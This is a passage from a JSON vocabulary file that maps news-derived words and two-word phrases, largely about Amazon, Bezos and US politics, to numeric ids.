209734,\n  \"provider google\": 209735,\n  \"investment fund\": 209736,\n  \"liked\": 209737,\n  \"amazon president\": 209738,\n  \"warner amazon\": 209739,\n  \"market opportunities\": 209740,\n  \"wife lara\": 209741,\n  \"breakout 2016\": 209742,\n  \"ice report\": 209743,\n  \"greer makes\": 209744,\n  \"particular flavor\": 209745,\n  \"seattle debate\": 209746,\n  \"protester\": 209747,\n  \"sign budget\": 209748,\n  \"n8\": 209749,\n  \"peaking\": 209750,\n  \"temporary burger\": 209751,\n  \"previously discussed\": 209752,\n  \"state legislatures\": 209753,\n  \"sports networks\": 209754,\n  \"arden\": 209755,\n  \"city comptroller\": 209756,\n  \"integrity\": 209757,\n  \"bret bret\": 209758,\n  \"pretty volatile\": 209759,\n  \"immigration ruling\": 209760,\n  \"workers date\": 209761,\n  \"yes morgan\": 209762,\n  \"mad sweeney\": 209763,\n  \"steel industry\": 209764,\n  \"set refugee\": 209765,\n  \"hager barbara\": 209766,\n  \"advice comey\": 209767,\n  \"post say\": 209768,\n  \"strategist steve\": 209769,\n  \"eu investigation\": 209770,\n  \"following year\": 209771,\n  \"reporter lauren\": 209772,\n  \"access clinic\": 209773,\n  \"multibillionaire wannabe\": 209774,\n  \"irish poet\": 209775,\n  \"icann tried\": 209776,\n  \"job responsibilities\": 209777,\n  \"chase ends\": 209778,\n  \"agency records\": 209779,\n  \"debate don\": 209780,\n  \"valuations\": 209781,\n  \"scouts\": 209782,\n  \"certain carrier\": 209783,\n  \"trump escape\": 209784,\n  \"3_5\": 209785,\n  \"630 000\": 209786,\n  \"tv added\": 209787,\n  \"itunes store\": 209788,\n  \"trusted institution\": 209789,\n  \"maycay beeler\": 209790,\n  \"reusable rocket\": 209791,\n  \"imessage according\": 209792,\n  \"domain\": 209793,\n  \"consulting indicates\": 209794,\n  \"rosa neared\": 209795,\n  \"sharaab\": 209796,\n  \"informed choices\": 209797,\n  \"cortez villain\": 209798,\n  \"quarter data\": 209799,\n  \"york photo\": 209800,\n  \"sure doesn\": 209801,\n  \"senator john\": 209802,\n  \"taunts attacking\": 209803,\n  \"place build\": 209804,\n  \"hirsute\": 209805,\n  \"company economic\": 209806,\n  \"outfitted\": 209807,\n  \"lone bright\": 209808,\n  \"support services\": 209809,\n  \"old nightclub\": 209810,\n  \"resurrector murder\": 209811,\n  \"beat normally\": 209812,\n  \"maximum\": 209813,\n  \"noah son\": 209814,\n  \"2018 spicer\": 209815,\n  \"talev wilbur\": 209816,\n  \"magazine food\": 209817,\n  \"center kids\": 209818,\n  \"kilmeade replied\": 209819,\n  \"van het\": 209820,\n  \"amazon campaign\": 209821,\n  \"different devices\": 209822,\n  \"suggests\": 209823,\n  \"weather\": 209824,\n  \"subway 500\": 209825,\n  \"ant\\u00f4nio\": 209826,\n  \"little stunned\": 209827,\n  \"selling hydrocarbons\": 209828,\n  \"london blaze\": 209829,\n  \"individual taxpayer\": 209830,\n  \"voice devices\": 209831,\n  \"fatales\": 209832,\n  \"hearing patchett\": 209833,\n  \"large quantity\": 209834,\n  \"plus voice\": 209835,\n  \"locate half\": 209836,\n  \"courts tmz\": 209837,\n  \"discussion nic\": 209838,\n  \"pile\": 209839,\n  \"using series\": 209840,\n  \"patr\": 209841,\n  \"followup tweet\": 209842,\n  \"bad practices\": 209843,\n  \"bazillion times\": 209844,\n  \"terms clout\": 209845,\n  \"hasbro\": 209846,\n  \"congress rep\": 209847,\n  \"portrait printed\": 209848,\n  \"heartily\": 209849,\n  \"budding marijuana\": 209850,\n  \"reuters reported\": 209851,\n  \"gig uber\": 209852,\n  \"onion domes\": 209853,\n  \"disclaimers\": 209854,\n  \"sears newegg\": 209855,\n  \"broader number\": 209856,\n  \"product recommendations\": 209857,\n  \"vinny minchillo\": 209858,\n  \"carell shouted\": 209859,\n  \"governance affecting\": 209860,\n  \"billion 350\": 209861,\n  \"steve leder\": 209862,\n  \"individuals receiving\": 209863,\n  \"andrew lichtenstein\": 209864,\n  \"ruling\": 209865,\n  \"real networking\": 209866,\n  \"seeking better\": 209867,\n  \"carrey\": 209868,\n  \"custer dominic\": 209869,\n  \"bands\": 209870,\n  \"illegal mind\": 209871,\n  \"nike campaign\": 209872,\n  \"seventh round\": 209873,\n  \"critics remain\": 209874,\n  \"communication new\": 209875,\n  \"editorials\": 209876,\n  \"temporary staffing\": 209877,\n  \"says dems\": 209878,\n  \"dollar margins\": 209879,\n  \"given public\": 209880,\n  \"suffer abuses\": 209881,\n  \"things need\": 209882,\n  \"brit\": 209883,\n  \"park jurassic\": 209884,\n  \"quo amazon\": 209885,\n  \"perceived racism\": 209886,\n  \"ago donald\": 209887,\n  \"zip code\": 209888,\n  \"2018 campaign\": 209889,\n  \"youtube pinterest\": 209890,\n  \"auction following\": 209891,\n  \"founders refused\": 209892,\n  \"michael farr\": 209893,\n  \"nonetheless individuals\": 209894,\n  \"attorney boaz\": 209895,\n  \"thanking\": 209896,\n  \"profits netflix\": 209897,\n  \"humanity plunging\": 209898,\n  \"bezoses divorce\": 209899,\n  \"electronic gadgetry\": 209900,\n  \"253 followers\": 209901,\n  \"apprentice contestant\": 209902,\n  \"determination\": 209903,\n  \"scale programs\": 209904,\n  \"severance\": 209905,\n  \"paper executives\": 209906,\n  \"senate rewrite\": 209907,\n  \"national political\": 209908,\n  \"confirm reports\": 209909,\n  \"green published\": 209910,\n  \"paperwork requirements\": 209911,\n  \"jobs delivers\": 209912,\n  \"street tried\": 209913,\n  \"policy counsel\": 209914,\n  \"moment woman\": 209915,\n  \"distributed transmitted\": 209916,\n  \"rally today\": 209917,\n  \"state attorneys\": 209918,\n  \"fraudulent competition\": 209919,\n  \"smb impact\": 209920,\n  \"counterfeiting policy\": 209921,\n  \"kavanaugh nomination\": 209922,\n  \"us400\": 209923,\n  \"uqtam5jevw tpm\": 209924,\n  \"really rapidly\": 209925,\n  \"tackle amazon\": 209926,\n  \"currently masquerading\": 209927,\n  \"lula\": 209928,\n  \"violence abuse\": 209929,\n  \"add jobs\": 209930,\n  \"canadians\": 209931,\n  \"senator patty\": 209932,\n  \"reality slowly\": 209933,\n  \"proves grand\": 209934,\n  \"elder fraud\": 209935,\n  \"148 points\": 209936,\n  \"possibilities\": 209937,\n  \"compromise financial\": 209938,\n  \"employees better\": 209939,\n  \"called trump\": 209940,\n  \"echo wants\": 209941,\n  \"funny women\": 209942,\n  \"tightrope\": 209943,\n  \"make sense\": 209944,\n  \"event children\": 209945,\n  \"famous security\": 209946,\n  \"popular merchandise\": 209947,\n  \"potential harms\": 209948,\n  \"doesn quite\": 209949,\n  \"completed software\": 209950,\n  \"composite inched\": 209951,\n  \"holding files\": 209952,\n  \"nonfiction best\": 209953,\n  \"harassment schools\": 209954,\n  \"president abby\": 209955,\n  \"powerfully demonstrates\": 209956,\n  \"wholesalers post\": 209957,\n  \"economics doesn\": 209958,\n  \"indelible composite\": 209959,\n  \"lungs\": 209960,\n  \"263\": 209961,\n  \"arson qanon\": 209962,\n  \"billion newark\": 209963,\n  \"moss\": 209964,\n  \"elections ami\": 209965,\n  \"long hearings\": 209966,\n  \"drag white\": 209967,\n  \"justice democrats\": 209968,\n  \"hanin abdullah\": 209969,\n  \"advertising commitments\": 209970,\n  \"22774588 srcset\": 209971,\n  \"nyse cah\": 209972,\n  \"want congress\": 209973,\n  \"industry especially\": 209974,\n  \"science 2018\": 209975,\n  \"taser\": 209976,\n  \"derived\": 209977,\n  \"algorithmic boost\": 209978,\n  \"interactive actvities\": 209979,\n  \"aroundcongress\": 209980,\n  \"cod girl\": 209981,\n  \"minn\": 209982,\n  \"certainly produce\": 209983,\n  \"mastercard logo\": 209984,\n  \"doug mcmillon\": 209985,\n  \"uk police\": 209986,\n  \"shepherd falling\": 209987,\n  \"shift occurred\": 209988,\n  \"significant chunk\": 209989,\n  \"akufo addo\": 209990,\n  \"sexting sanchez\": 209991,\n  \"chinese tech\": 209992,\n  \"republicans rebuke\": 209993,\n  \"schedule released\": 209994,\n  \"iron discipline\": 209995,\n  \"dueling\": 209996,\n  \"harvested personal\": 209997,\n  \"napolitano disdain\": 209998,\n  \"moss hey\": 209999,\n  \"unread prev\": 210000,\n  \"jihadists\": 210001,\n  \"matter\": 210002,\n  \"armitage alongside\": 210003,\n  \"2012 entertainment\": 210004,\n  \"echo wall\": 210005,\n  \"suggests willingness\": 210006,\n  \"amazon 01pm\": 210007,\n  \"receiving snap\": 210008,\n  \"inappropriate pen\": 210009,\n  \"general jorge\": 210010,\n  \"index\": 210011,\n  \"giving buddy\": 210012,\n  \"personalizing\": 210013,\n  \"unfairness\": 210014,\n  \"comment regarding\": 210015,\n  \"commerce commission\": 210016,\n  \"star luxury\": 210017,\n  \"massively complicate\": 210018,\n  \"growing opposition\": 210019,\n  \"bonuses\": 210020,\n  \"glory connecticut\": 210021,\n  \"pervades\": 210022,\n  \"modes\": 210023,\n  \"rightist\": 210024,\n  \"investors chance\": 210025,\n  \"advertising platform\": 210026,\n  \"atom pd\": 210027,\n  \"brown speaks\": 210028,\n  \"avoid negatively\": 210029,\n  \"having paid\": 210030,\n  \"memorial mayor\": 210031,\n  \"member donations\": 210032,\n  \"fbi officials\": 210033,\n  \"seat sent\": 210034,\n  \"following chart\": 210035,\n  \"ignite rally\": 210036,\n  \"mike yarish\": 210037,\n  \"satirical essay\": 210038,\n  \"renting\": 210039,\n  \"episodes\": 210040,\n  \"helps readers\": 210041,\n  \"instituto socioambiental\": 210042,\n  \"southwest border\": 210043,\n  \"step routine\": 210044,\n  \"extremely challenging\": 210045,\n  \"deliberate thank\": 210046,\n  \"krzanich resigned\": 210047,\n  \"workers reportedly\": 210048,\n  \"academy\": 210049,\n  \"certain packages\": 210050,\n  \"joe broke\": 210051,\n  \"gr\\u00e9goire chamayou\": 210052,\n  \"teams dedicated\": 210053,\n  \"heart intuition\": 210054,\n  \"nice feeling\": 210055,\n  \"headlines funny\": 210056,\n  \"passionate\": 210057,\n  \"tremble\": 210058,\n  \"numerous parallels\": 210059,\n  \"nahata\": 210060,\n  \"paramount\": 210061,\n  \"months deloitte\": 210062,\n  \"business paper\": 210063,\n  \"pent\": 210064,\n  \"services proposed\": 210065,\n  \"huebner kyle\": 210066,\n  \"adjoining\": 210067,\n  \"unrestricted bolsonaro\": 210068,\n  \"fading manufacturing\": 210069,\n  \"believe accelerating\": 210070,\n  \"contract law\": 210071,\n  \"beneath hearth\": 210072,\n  \"impulse\": 210073,\n  \"offer hearing\": 210074,\n  \"block mean\": 210075,\n  \"nearby meeting\": 210076,\n  \"juggernaut occupied\": 210077,\n  \"rachel brand\": 210078,\n  \"begins streaming\": 210079,\n  \"vt led\": 210080,\n  \"towleroad\": 210081,\n  \"wook\": 210082,\n  \"policy terms\": 210083,\n  \"given strong\": 210084,\n  \"easley photographs\": 210085,\n  \"adidas\": 210086,\n  \"drifting apart\": 210087,\n  \"super liberal\": 210088,\n  \"exclusive deals\": 210089,\n  \"violent agreement\": 210090,\n  \"corporation nasdaq\": 210091,\n  \"alarms\": 210092,\n  \"jeopardized close\": 210093,\n  \"service organizations\": 210094,\n  \"choices losing\": 210095,\n  \"internet corporation\": 210096,\n  \"advisor jim\": 210097,\n  \"story preempted\": 210098,\n  \"ian600f\": 210099,\n  \"solid beats\": 210100,\n  \"approving trans\": 210101,\n  \"democratic leader\": 210102,\n  \"owned car\": 210103,\n  \"guise\": 210104,\n  \"stock opened\": 210105,\n  \"company founders\": 210106,\n  \"china machine\": 210107,\n  \"body shaming\": 210108,\n  \"rate newsom\": 210109,\n  \"topics ranging\": 210110,\n  \"candidate presidential\": 210111,\n  \"kevin dolliole\": 210112,\n  \"particular charities\": 210113,\n  \"noted reports\": 210114,\n  \"cpac\": 210115,\n  \"working american\": 210116,\n  \"practices antitrust\": 210117,\n  \"loyal lieutenant\": 210118,\n  \"retired state\": 210119,\n  \"asserted cringely\": 210120,\n  \"ebony slaughter\": 210121,\n  \"tweeted collusion\": 210122,\n  \"bots bloomberg\": 210123,\n  \"services 2019\": 210124,\n  \"2017 jack\": 210125,\n  \"insider sale\": 210126,\n  \"profiteers\": 210127,\n  \"threatening retribution\": 210128,\n  \"long steel\": 210129,\n  \"kickstand\": 210130,\n  \"slaves\": 210131,\n  \"estate educators\": 210132,\n  \"kick started\": 210133,\n  \"services signed\": 210134,\n  \"complex\": 210135,\n  \"extensive network\": 210136,\n  \"older ones\": 210137,\n  \"larmand leelarmand\": 210138,\n  \"construction slows\": 210139,\n  \"messi\": 210140,\n  \"fit bezos\": 210141,\n  \"persuade trump\": 210142,\n  \"idiots\": 210143,\n  \"add bit\": 210144,\n  \"sgf\": 210145,\n  \"cia disinformation\": 210146,\n  \"data work\": 210147,\n  \"temple stood\": 210148,\n  \"tensions quite\": 210149,\n  \"second fiddle\": 210150,\n  \"detailed study\": 210151,\n  \"artisans\": 210152,\n  \"2019 elections\": 210153,\n  \"leapt\": 210154,\n  \"new populist\": 210155,\n  \"global smartphone\": 210156,\n  \"brett\": 210157,\n  \"deasy\": 210158,\n  \"shipping products\": 210159,\n  \"juggernaut worrying\": 210160,\n  \"ranged\": 210161,\n  \"based startup\": 210162,\n  \"despite coming\": 210163,\n  \"america appealed\": 210164,\n  \"terrific piece\": 210165,\n  \"hearing van\": 210166,\n  \"ideas withheld\": 210167,\n  \"comments minutes\": 210168,\n  \"infowars blasts\": 210169,\n  \"governance institute\": 210170,\n  \"drivers sourced\": 210171,\n  \"rubber hits\": 210172,\n  \"journalism sign\": 210173,\n  \"called led\": 210174,\n  \"2018 homebody\": 210175,\n  \"legally needs\": 210176,\n  \"turbo\": 210177,\n  \"ceo brendan\": 210178,\n  \"amazon snuffs\": 210179,\n  \"education sent\": 210180,\n  \"rebel\": 210181,\n  \"imminent dangers\": 210182,\n  \"laughs moser\": 210183,\n  \"2018 marc\": 210184,\n  \"pivot\": 210185,\n  \"called nepal\": 210186,\n  \"include comprehensive\": 210187,\n  \"bird box\": 210188,\n  \"bar paying\": 210189,\n  \"immediate response\": 210190,\n  \"inaccurate added\": 210191,\n  \"card delinquencies\": 210192,\n  \"shows brother\": 210193,\n  \"gag\": 210194,\n  \"new cabinet\": 210195,\n  \"ringwald\": 210196,\n  \"job promises\": 210197,\n  \"potential 2020\": 210198,\n  \"oprah popularity\": 210199,\n  \"bezos pushback\": 210200,\n  \"constitute illegal\": 210201,\n  \"supersized\": 210202,\n  \"dinner\": 210203,\n  \"mix ivanka\": 210204,\n  \"organizations free\": 210205,\n  \"missoula\": 210206,\n  \"106 hawks\": 210207,\n  \"administration calls\": 210208,\n  \"traditional parcel\": 210209,\n  \"interview california\": 210210,\n  \"amazon sorting\": 210211,\n  \"adopted policy\": 210212,\n  \"post reports\": 210213,\n  \"fueled growth\": 210214,\n  \"puts shockingly\": 210215,\n  \"water bottle\": 210216,\n  \"law unfortunately\": 210217,\n  \"critical pieces\": 210218,\n  \"amzn nyse\": 210219,\n  \"emgx6xpzva\": 210220,\n  \"illiterate new\": 210221,\n  \"approving new\": 210222,\n  \"opinionated political\": 210223,\n  \"satanist finding\": 210224,\n  \"fraught climate\": 210225,\n  \"mac app\": 210226,\n  \"susan molinari\": 210227,\n  \"freeman james\": 210228,\n  \"ideological balance\": 210229,\n  \"allegations pecker\": 210230,\n  \"rep matt\": 210231,\n  \"motorists\": 210232,\n  \"deferring\": 210233,\n  \"atlantic elaina\": 210234,\n  \"neapolitan\": 210235,\n  \"versus existing\": 210236,\n  \"read want\": 210237,\n  \"nearly nominated\": 210238,\n  \"amazon leave\": 210239,\n  \"accounts recently\": 210240,\n  \"cheapskates amazon\": 210241,\n  \"read beloved\": 210242,\n  \"ill michael\": 210243,\n  \"s0 l2\": 210244,\n  \"merchants sales\": 210245,\n  \"adviser limited\": 210246,\n  \"new shows\": 210247,\n  \"judy greer\": 210248,\n  \"manish gupta\": 210249,\n  \"friend shot\": 210250,\n  \"moscow\": 210251,\n  \"open 000\": 210252,\n  \"meant according\": 210253,\n  \"mortgages\": 210254,\n  \"opponents\": 210255,\n  \"crispr rob\": 210256,\n  \"unnamed minister\": 210257,\n  \"people ignored\": 210258,\n  \"iphone preorders\": 210259,\n  \"bezos person\": 210260,\n  \"undoubtedly\": 210261,\n  \"reality democrats\": 210262,\n  \"gossip section\": 210263,\n  \"finally limited\": 210264,\n  \"striped streetcars\": 210265,\n  \"shooting gun\": 210266,\n  \"terrible\": 210267,\n  \"ted cigars\": 210268,\n  \"repeal auto\": 210269,\n  \"desperate\": 210270,\n  \"potential changes\": 210271,\n  \"d4 var\": 210272,\n  \"work stoppage\": 210273,\n  \"tetraphase pharmaceuticals\": 210274,\n  \"spurred grass\": 210275,\n  \"york expansion\": 210276,\n  \"physical goods\": 210277,\n  \"anecdote\": 210278,\n  \"begun discussing\": 210279,\n  \"prime abhish\": 210280,\n  \"major technological\": 210281,\n  \"cubs kill\": 210282,\n  \"exploring truly\": 210283,\n  \"comment congressional\": 210284,\n  \"amazon powerful\": 210285,\n  \"briefing politics\": 210286,\n  \"china chukumba\": 210287,\n  \"accusations money\": 210288,\n  \"foia defenses\": 210289,\n  \"federal funding\": 210290,\n  \"tully mcmanus\": 210291,\n  \"rugoff\": 210292,\n  \"washes ashore\": 210293,\n  \"hopefully\": 210294,\n  \"slalom battle\": 210295,\n  \"virginia according\": 210296,\n  \"hear kids\": 210297,\n  \"office workers\": 210298,\n  \"business expansion\": 210299,\n  \"allows immigration\": 210300,\n  \"historically\": 210301,\n  \"financial reporting\": 210302,\n  \"hang\": 210303,\n  \"certainly wrongly\": 210304,\n  \"timeframe bezos\": 210305,\n  \"cortez despite\": 210306,\n  \"traditional logistics\": 210307,\n  \"autism\": 210308,\n  \"oil names\": 210309,\n  \"automakers group\": 210310,\n  \"terribly\": 210311,\n  \"pichai appears\": 210312,\n  \"palinchak\": 210313,\n  \"wide assortment\": 210314,\n  \"cindy sherman\": 210315,\n  \"96th\": 210316,\n  \"hire 100\": 210317,\n  \"jailing bankers\": 210318,\n  \"government decision\": 210319,\n  \"effectively encourage\": 210320,\n  \"mile agreements\": 210321,\n  \"starts possessed\": 210322,\n  \"strong holiday\": 210323,\n  \"background amazon\": 210324,\n  \"heartland institute\": 210325,\n  \"nyclu claims\": 210326,\n  \"aclu florida\": 210327,\n  \"amazon pachter\": 210328,\n  \"oregon food\": 210329,\n  \"document\": 210330,\n  \"openly transgender\": 210331,\n  \"icahn published\": 210332,\n  \"pod\": 210333,\n  \"kumar knows\": 210334,\n  \"activity internally\": 210335,\n  \"access hollywood\": 210336,\n  \"shipping offerings\": 210337,\n  \"onboarding\": 210338,\n  \"ratio indicates\": 210339,\n  \"amazon pick\": 210340,\n  \"ncyha\": 210341,\n  \"publishing articles\": 210342,\n  \"rhetorically added\": 210343,\n  \"unnamed people\": 210344,\n  \"matches work\": 210345,\n  \"plus prince\": 210346,\n  \"remain partners\": 210347,\n  \"teams leave\": 210348,\n  \"austerity\": 210349,\n  \"angeles capellades\": 210350,\n  \"famously obtained\": 210351,\n  \"discuss walmart\": 210352,\n  \"moves key\": 210353,\n  \"pocketed\": 210354,\n  \"president gerald\": 210355,\n  \"competitors combined\": 210356,\n  \"unfathomable\": 210357,\n  \"plagiarism spokesperson\": 210358,\n  \"historical campaigns\": 210359,\n  \"protest impeach\": 210360,\n  \"recent lobbying\": 210361,\n  \"2b immigration\": 210362,\n  \"cig\": 210363,\n  \"year ago\": 210364,\n  \"eu prime\": 210365,\n  \"passed\": 210366,\n  \"reliance group\": 210367,\n  \"service dominated\": 210368,\n  \"108 106\": 210369,\n  \"follows elliot\": 210370,\n  \"higher transport\": 210371,\n  \"kazakoff deputy\": 210372,\n  \"patagonia just\": 210373,\n  \"inspiration europe\": 210374,\n  \"170 million\": 210375,\n  \"delinquencies solomon\": 210376,\n  \"irma\": 210377,\n  \"officials media\": 210378,\n  \"service officials\": 210379,\n  \"just wow\": 210380,\n  \"kyl goofily\": 210381,\n  \"karem yucel\": 210382,\n  \"sold\": 210383,\n  \"heaviness\": 210384,\n  \"live paycheck\": 210385,\n  \"movie based\": 210386,\n  \"amazon consumer\": 210387,\n  \"cheap unfortunately\": 210388,\n  \"time nbc\": 210389,\n  \"000 sanchez\": 210390,\n  \"night manager\": 210391,\n  \"critical acclaim\": 210392,\n  \"guggenheim real\": 210393,\n  \"kearns\": 210394,\n  \"letter carriers\": 210395,\n  \"needy parent\": 210396,\n  \"commerce battle\": 210397,\n  \"eliminating people\": 210398,\n  \"capacity noted\": 210399,\n  \"gruesome\": 210400,\n  \"contrarian buy\": 210401,\n  \"powell agrees\": 210402,\n  \"lead today\": 210403,\n  \"posed\": 210404,\n  \"acid heat\": 210405,\n  \"deeply divided\": 210406,\n  \"2020 matt\": 210407,\n  \"advertising budget\": 210408,\n  \"told staff\": 210409,\n  \"based gmb\": 210410,\n  \"stars josh\": 210411,\n  \"parliament approved\": 210412,\n  \"tigon judge\": 210413,\n  \"jpmorgan sees\": 210414,\n  \"company fortunes\": 210415,\n  \"attractive terms\": 210416,\n  \"authenticators\": 210417,\n  \"new nov\": 210418,\n  \"powerful impact\": 210419,\n  \"secretary patrick\": 210420,\n  \"slowed hiring\": 210421,\n  \"recession wrote\": 210422,\n  \"summit earlier\": 210423,\n  \"sounded felt\": 210424,\n  \"point leveraged\": 210425,\n  \"duchess choosing\": 210426,\n  \"bezos prominent\": 210427,\n  \"memorial list\": 210428,\n  \"content portfolio\": 210429,\n  \"young american\": 210430,\n  \"continue rising\": 210431,\n  \"trumpstore listed\": 210432,\n  \"fly\": 210433,\n  \"years know\": 210434,\n  \"horror recently\": 210435,\n  \"cheaper prices\": 210436,\n  \"c9x b3x\": 210437,\n  \"myrtle beach\": 210438,\n  \"bezos newspaper\": 210439,\n  \"cart delivery\": 210440,\n  \"mailings\": 210441,\n  \"occasionally takes\": 210442,\n  \"threatened general\": 210443,\n  \"personal vitriol\": 210444,\n  \"seventh straight\": 210445,\n  \"trump attacks\": 210446,\n  \"version amazon\": 210447,\n  \"idriss\": 210448,\n  \"incredible rate\": 210449,\n  \"supposedly low\": 210450,\n  \"graduates\": 210451,\n  \"sutton\": 210452,\n  \"vertigo\": 210453,\n  \"quick scroll\": 210454,\n  \"wire\": 210455,\n  \"markets institute\": 210456,\n  \"news dennis\": 210457,\n  \"real share\": 210458,\n  \"government ahead\": 210459,\n  \"feeling bit\": 210460,\n  \"wants investors\": 210461,\n  \"service usds\": 210462,\n  \"omb\": 210463,\n  \"examining contributions\": 210464,\n  \"trump karen\": 210465,\n  \"checks given\": 210466,\n  \"depicting trump\": 210467,\n  \"prime subscriber\": 210468,\n  \"increasingly partisan\": 210469,\n  \"rival mozambique\": 210470,\n  \"political battles\": 210471,\n  \"decision just\": 210472,\n  \"falsely asserting\": 210473,\n  \"make new\": 210474,\n  \"birding expeditions\": 210475,\n  \"microwave\": 210476,\n  \"6cxafkpmqg\": 210477,\n  \"app store\": 210478,\n  \"second recipes\": 210479,\n  \"negatives amazon\": 210480,\n  \"155 shares\": 210481,\n  \"expected incoming\": 210482,\n  \"ma provides\": 210483,\n  \"balance online\": 210484,\n  \"taxes despite\": 210485,\n  \"economic hardship\": 210486,\n  \"quite surprised\": 210487,\n  \"tax monies\": 210488,\n  \"previous allegations\": 210489,\n  \"underlying trends\": 210490,\n  \"tweets attacking\": 210491,\n  \"marketing firm\": 210492,\n  \"pressured postmaster\": 210493,\n  \"unhealthy\": 210494,\n  \"make right\": 210495,\n  \"airbus expects\": 210496,\n  \"brega\": 210497,\n  \"categorically\": 210498,\n  \"phrase denotes\": 210499,\n  \"excerpt published\": 210500,\n  \"hike rates\": 210501,\n  \"pry\": 210502,\n  \"wrong approach\": 210503,\n  \"bramer signed\": 210504,\n  \"populism\": 210505,\n  \"refunds amazon\": 210506,\n  \"previous model\": 210507,\n  \"profile celebrity\": 210508,\n  \"ruralist agribusiness\": 210509,\n  \"live colin\": 210510,\n  \"infiltrate\": 210511,\n  \"bothered anymore\": 210512,\n  \"deb riechmann\": 210513,\n  \"media site\": 210514,\n  \"ingles unidentified\": 210515,\n  \"new referendums\": 210516,\n  \"general despite\": 210517,\n  \"arizona bret\": 210518,\n  \"trump gives\": 210519,\n  \"cassettes\": 210520,\n  \"technique analysts\": 210521,\n  \"brox\": 210522,\n  \"literature price\": 210523,\n  \"dominating force\": 210524,\n  \"adding rates\": 210525,\n  \"enrolling\": 210526,\n  \"promote live\": 210527,\n  \"japan amazon\": 210528,\n  \"story dont\": 210529,\n  \"law doesn\": 210530,\n  \"publicly naming\": 210531,\n  \"generations think\": 210532,\n  \"abundant opportunities\": 210533,\n  \"official anthony\": 210534,\n  \"congressional pressure\": 210535,\n  \"total cost\": 210536,\n  \"temples\": 210537,\n  \"new antitrust\": 210538,\n  \"draft rules\": 210539,\n  \"tightly\": 210540,\n  \"idea\": 210541,\n  \"course wayfair\": 210542,\n  \"russell elizabeth\": 210543,\n  \"getting trump\": 210544,\n  \"tap military\": 210545,\n  \"incredibly offensive\": 210546,\n  \"physical retailers\": 210547,\n  \"ferry routes\": 210548,\n  \"hash\": 210549,\n  \"wisely\": 210550,\n  \"current plans\": 210551,\n  \"facebook nasdaq\": 210552,\n  \"face huge\": 210553,\n  \"national advocacy\": 210554,\n  \"liberalism\": 210555,\n  \"broken heart\": 210556,\n  \"months months\": 210557,\n  \"arbitrary reasons\": 210558,\n  \"moon tourist\": 210559,\n  \"favorite hats\": 210560,\n  \"service ordered\": 210561,\n  \"amazon zacks\": 210562,\n  \"associates 135\": 210563,\n  \"dod provided\": 210564,\n  \"separations\": 210565,\n  \"horn\": 210566,\n  \"l0\": 210567,\n  \"continued scarborough\": 210568,\n  \"localstorage\": 210569,\n  \"sprang trump\": 210570,\n  \"road new\": 210571,\n  \"certifications petition\": 210572,\n  \"day trading\": 210573,\n  \"privately frustrated\": 210574,\n  \"risk having\": 210575,\n  \"space oddity\": 210576,\n  \"year vaccine\": 210577,\n  \"js pg\": 210578,\n  \"sales pitch\": 210579,\n  \"businesses daily\": 210580,\n  \"beast reported\": 210581,\n  \"final installment\": 210582,\n  \"prosecution ami\": 210583,\n  \"person sanders\": 210584,\n  \"optimal\": 210585,\n  \"croix\": 210586,\n  \"news cycle\": 210587,\n  \"717\": 210588,\n  \"closest associates\": 210589,\n  \"attack disrupts\": 210590,\n  \"advisory rech\": 210591,\n  \"media think\": 210592,\n  \"better results\": 210593,\n  \"trump dirt\": 210594,\n  \"retailers people\": 210595,\n  \"tumble going\": 210596,\n  \"practices low\": 210597,\n  \"destabilizing\": 210598,\n  \"heartbreak actually\": 210599,\n  \"rugged\": 210600,\n  \"big concern\": 210601,\n  \"pelecanos mulholland\": 210602,\n  \"gerrymandered congressional\": 210603,\n  \"terrorizes wallachia\": 210604,\n  \"strong greer\": 210605,\n  \"really makes\": 210606,\n  \"committee onborder\": 210607,\n  \"979 475\": 210608,\n  \"taxes bezos\": 210609,\n  \"examined usps\": 210610,\n  \"tech impression\": 210611,\n  \"calculates aldi\": 210612,\n  \"buzzsaw\": 210613,\n  \"thomas suozzi\": 210614,\n  \"alleged interference\": 210615,\n  \"beeler buccaneer\": 210616,\n  \"file excessive\": 210617,\n  \"squawker\": 210618,\n  \"saw amazon\": 210619,\n  \"revenue amazon\": 210620,\n  \"honorary awards\": 210621,\n  \"mad melancholy\": 210622,\n  \"received total\": 210623,\n  \"badgley\": 210624,\n  \"president particularly\": 210625,\n  \"promise items\": 210626,\n  \"report josh\": 210627,\n  \"dangerous game\": 210628,\n  \"philippine\": 210629,\n  \"special breaks\": 210630,\n  \"navarro isn\": 210631,\n  \"heard gunshots\": 210632,\n  \"netflix streaming\": 210633,\n  \"engineering\": 210634,\n  \"folk singer\": 210635,\n  \"drug abuse\": 210636,\n  \"just discovering\": 210637,\n  \"rewarded\": 210638,\n  \"ad groups\": 210639,\n  \"users relevant\": 210640,\n  \"hosted town\": 210641,\n  \"refreshingly\": 210642,\n  \"search algorithms\": 210643,\n  \"colombia venezuela\": 210644,\n  \"messages asking\": 210645,\n  \"enterprise decides\": 210646,\n  \"amsterdammer\": 210647,\n  \"special edition\": 210648,\n  \"company marketplace\": 210649,\n  \"trump craw\": 210650,\n  \"birkenstock arizona\": 210651,\n  \"shelves thestreet\": 210652,\n  \"longer announcing\": 210653,\n  \"incidents tweeting\": 210654,\n  \"taxes\": 210655,\n  \"amazon arm\": 210656,\n  \"trumpfamily immigration\": 210657,\n  \"country nearly\": 210658,\n  \"sales campaign\": 210659,\n  \"nba washington\": 210660,\n  \"today mccabe\": 210661,\n  \"versus college\": 210662,\n  \"adherents president\": 210663,\n  \"key appointees\": 210664,\n  \"nice houses\": 210665,\n  \"ago talkin\": 210666,\n  \"reported sending\": 210667,\n  \"automakers\": 210668,\n  \"european income\": 210669,\n  \"initializing video\": 210670,\n  \"cfr 2635\": 210671,\n  \"tensions economies\": 210672,\n  \"archived cnbc\": 210673,\n  \"policies protester\": 210674,\n  \"color huseman\": 210675,\n  \"future jeff\": 210676,\n  \"blockbuster video\": 210677,\n  \"employees according\": 210678,\n  \"planting\": 210679,\n  \"checkout deal\": 210680,\n  \"leaf framewidth\": 210681,\n  \"published including\": 210682,\n  \"kampf\": 210683,\n  \"uber announced\": 210684,\n  \"urging cities\": 210685,\n  \"plans land\": 210686,\n  \"kiro tv\": 210687,\n  \"sara rathner\": 210688,\n  \"house microsoft\": 210689,\n  \"actually ensued\": 210690,\n  \"brands pecker\": 210691,\n  \"gay marriage\": 210692,\n  \"trump managed\": 210693,\n  \"significant victory\": 210694,\n  \"nonbank companies\": 210695,\n  \"1300\": 210696,\n  \"rightly judged\": 210697,\n  \"gmail\": 210698,\n  \"archenemy\": 210699,\n  \"contemporary novel\": 210700,\n  \"john founder\": 210701,\n  \"colombia visit\": 210702,\n  